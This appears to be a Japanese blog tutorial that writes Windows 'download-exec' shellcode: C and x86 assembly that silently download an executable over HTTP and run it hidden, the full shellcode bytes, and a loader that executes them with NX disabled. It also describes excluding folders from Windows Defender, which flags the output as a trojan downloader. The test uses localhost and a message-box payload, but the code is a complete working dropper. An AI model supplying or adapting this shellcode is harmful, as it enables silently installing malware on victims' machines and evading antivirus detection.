Windowsでdownload-execシェルコードを書いてみる
「Windowsでconnect-backシェルコードを書いてみる」ではプログラムがWinsockを利用していることを前提に、connect-back shellを起動するシェルコードを書いた。 この他に、Windowsではインターネットから実行ファイルをダウンロードし実行するシェルコードが一般に知られており、これはdownload-execシェルコードなどと呼ばれる。 ここでは、download-execシェルコードを作成し、これを使って適当に用意した実行ファイルを起動してみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS 製造元: Microsoft Corporation システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >ml Microsoft (R) Macro Assembler Version 12.00.31101.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
C言語で書いてみる
WindowsにおいてHTTPでファイルをダウンロードして保存するAPI関数に、urlmon.dllで実装されているURLDownloadToFile関数がある。 これを使い、C言語で実行ファイルをダウンロードし実行するプログラムを書くと次のようになる。
/* downloadexec.c */ #include <windows.h> #pragma comment(lib, "urlmon") int main() { char *url = "http://localhost/a.exe"; char *path = "C:\\Windows\\Temp\\a.exe"; URLDownloadToFile(NULL, url, path, 0, NULL); WinExec(path, SW_HIDE); ExitProcess(0); }
合わせてダウンロード実行されるプログラムとして、最前面でダイアログボックスを表示する単純なプログラムを書いておく。
/* messagebox.c */ #include <windows.h> #pragma comment(lib, "user32") int main() { MessageBox(NULL, "ALL YOUR BASE ARE BELONG TO US.", "CATS", MB_SYSTEMMODAL); ExitProcess(0); }
それぞれコンパイルし、ダウンロード対象のプログラムについてはリネームする。
>cl downloadexec.c >cl messagebox.c >move messagebox.exe a.exe
HTTPでダウンロード対象のプログラムを公開し、実際にダウンロード実行を行ってみる。 HTTPサーバはどのようなものでもよいが、ここではCygwinに付属するPythonを使うことにする。
$ python -mSimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
>downloadexec.exe
実行の結果、HTTPサーバにある実行ファイルがダウンロード実行され、ダイアログボックスが表示されることが確認できる。
シェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」で利用したhashcalc.exeおよびapi_callルーチンを用いて、シェルコードを書くと次のようになる。
; downloadexec.asm .386 .model flat, stdcall .code start: cld jmp main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList next_mod: lodsd ; next _LDR_DATA_TABLE_ENTRY mov [esp+1ch], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edx, ebp mov ecx, [edx+18h] ; NumberOfNames mov ebx, [edx+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor edi, edi ; hash = 0 xor eax, eax compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edi, 0dh ; hash += ror(c, 0x0d) add edi, eax jmp compute_hash_loop compare_hash: cmp edi, [esp+24h] ; compare with api hash jnz next_name mov ebx, [edx+24h] ; AddressOfNameOrdinals add ebx, ebp mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [edx+1ch] ; AddressOfFunctions add ebx, ebp mov eax, [ebx+ecx*4] ; AddressOfFunctions[y] add eax, ebp mov [esp+1ch], eax ; store eax popad pop ecx ; remove api hash from the stack pop edx push ecx jmp eax ; jump to api function name_not_found: mov esi, [esp+1ch] ; update eax jmp next_mod main: xor edx, edx mov dx, 6e6fh push edx push 6d6c7275h ; "urlmon" push esp push 0ec0e4e8eh ; LoadLibraryA call api_call jmp caller_url callee_url: pop esi jmp caller_path callee_path: pop edi xor ebx, ebx push ebx push ebx push edi push esi push ebx push 702f1a36h ; URLDownloadToFileA call api_call push ebx push edi push 0e8afe98h ; WinExec call api_call push ebx push 73e2d87eh ; ExitProcess call api_call caller_url: call callee_url db "http://localhost/a.exe",0 caller_path: call callee_path db "C:\\Windows\\Temp\\a.exe",0 end start
上のコードでは、まずLoadLibraryA関数でurlmon.dllをロードした後、URLDownloadToFileA関数とWinExec関数を使いファイルをダウンロード実行する。 また、文字列部分にNUL文字が含まれているが、これについては必要であれば適当な文字からNUL文字に書き換える、あるいはエンコードされたシェルコード全体をデコードする処理を書けばよい。
コードをアセンブルしてみる。 なお、Windows Defenderでは生成される実行ファイルがTrojanDownloader:Win32/Small.gen!Bとして検知されるため、あらかじめフォルダの除外設定などをしておく必要がある。
>ml downloadexec.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: downloadexec.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:downloadexec.exe downloadexec.obj /subsystem:console
ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata downloadexec.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file downloadexec.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p. 00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x. 00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4.. 00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë 00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K 00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY 00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 D2 66 BA 6F 6E ZQÿà.t$.ë¦3Òfºon 00401070: 52 68 75 72 6C 6D 54 68 8E 4E 0E EC E8 82 FF FF RhurlmTh.N.ìè.ÿÿ 00401080: FF EB 2C 5E EB 45 5F 33 DB 53 53 57 56 53 68 36 ÿë,^ëE_3ÛSSWVSh6 00401090: 1A 2F 70 E8 6B FF FF FF 53 57 68 98 FE 8A 0E E8 ./pèkÿÿÿSWh.þ..è 004010A0: 5F FF FF FF 53 68 7E D8 E2 73 E8 54 FF FF FF E8 _ÿÿÿSh~ØâsèTÿÿÿè 004010B0: CF FF FF FF 68 74 74 70 3A 2F 2F 6C 6F 63 61 6C Ïÿÿÿhttp://local 004010C0: 68 6F 73 74 2F 61 2E 65 78 65 00 E8 B6 FF FF FF host/a.exe.è¶ÿÿÿ 004010D0: 43 3A 5C 5C 57 69 6E 64 6F 77 73 5C 5C 54 65 6D C:\\Windows\\Tem 004010E0: 70 5C 5C 61 2E 65 78 65 00 p\\a.exe. Summary 1000 .text >dumpbin /rawdata downloadexec.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xD2\x66\xBA\x6F\x6E\x52\x68\x75\x72\x6C\x6D\x54\x68\x8E\x4E\x0E\xEC\xE8\x82\xFF\xFF\xFF\xEB\x2C\x5E\xEB\x45\x5F\x33\xDB\x53\x53\x57\x56\x53\x68\x36\x1A\x2F\x70\xE8\x6B\xFF\xFF\xFF\x53\x57\x68\x98\xFE\x8A\x0E\xE8\x5F\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x54\xFF\xFF\xFF\xE8\xCF\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x2F\x61\x2E\x65\x78\x65\x00\xE8\xB6\xFF\xFF\xFF\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x54\x65\x6D\x70\x5C\x5C\x61\x2E\x65\x78\x65\x00
シェルコードを実行してみる
上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */ #include <stdio.h> #include <string.h> int main() { char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xD2\x66\xBA\x6F\x6E\x52\x68\x75\x72\x6C\x6D\x54\x68\x8E\x4E\x0E\xEC\xE8\x82\xFF\xFF\xFF\xEB\x2C\x5E\xEB\x45\x5F\x33\xDB\x53\x53\x57\x56\x53\x68\x36\x1A\x2F\x70\xE8\x6B\xFF\xFF\xFF\x53\x57\x68\x98\xFE\x8A\x0E\xE8\x5F\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x54\xFF\xFF\xFF\xE8\xCF\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x2F\x61\x2E\x65\x78\x65\x00\xE8\xB6\xFF\xFF\xFF\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x54\x65\x6D\x70\x5C\x5C\x61\x2E\x65\x78\x65\x00"; printf("strlen(code) = %d\n", strlen(code)); (*(void (*)())code)(); return 0; }
HTTPでダウンロード対象のプログラムを公開しておく。
$ python -mSimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
>cl loader.c /link /nxcompat:no >loader.exe strlen(code) = 202
シェルコードの実行によりファイルがダウンロード実行され、ダイアログボックスが表示されることが確認できる。 このシェルコードの長さは202バイトである。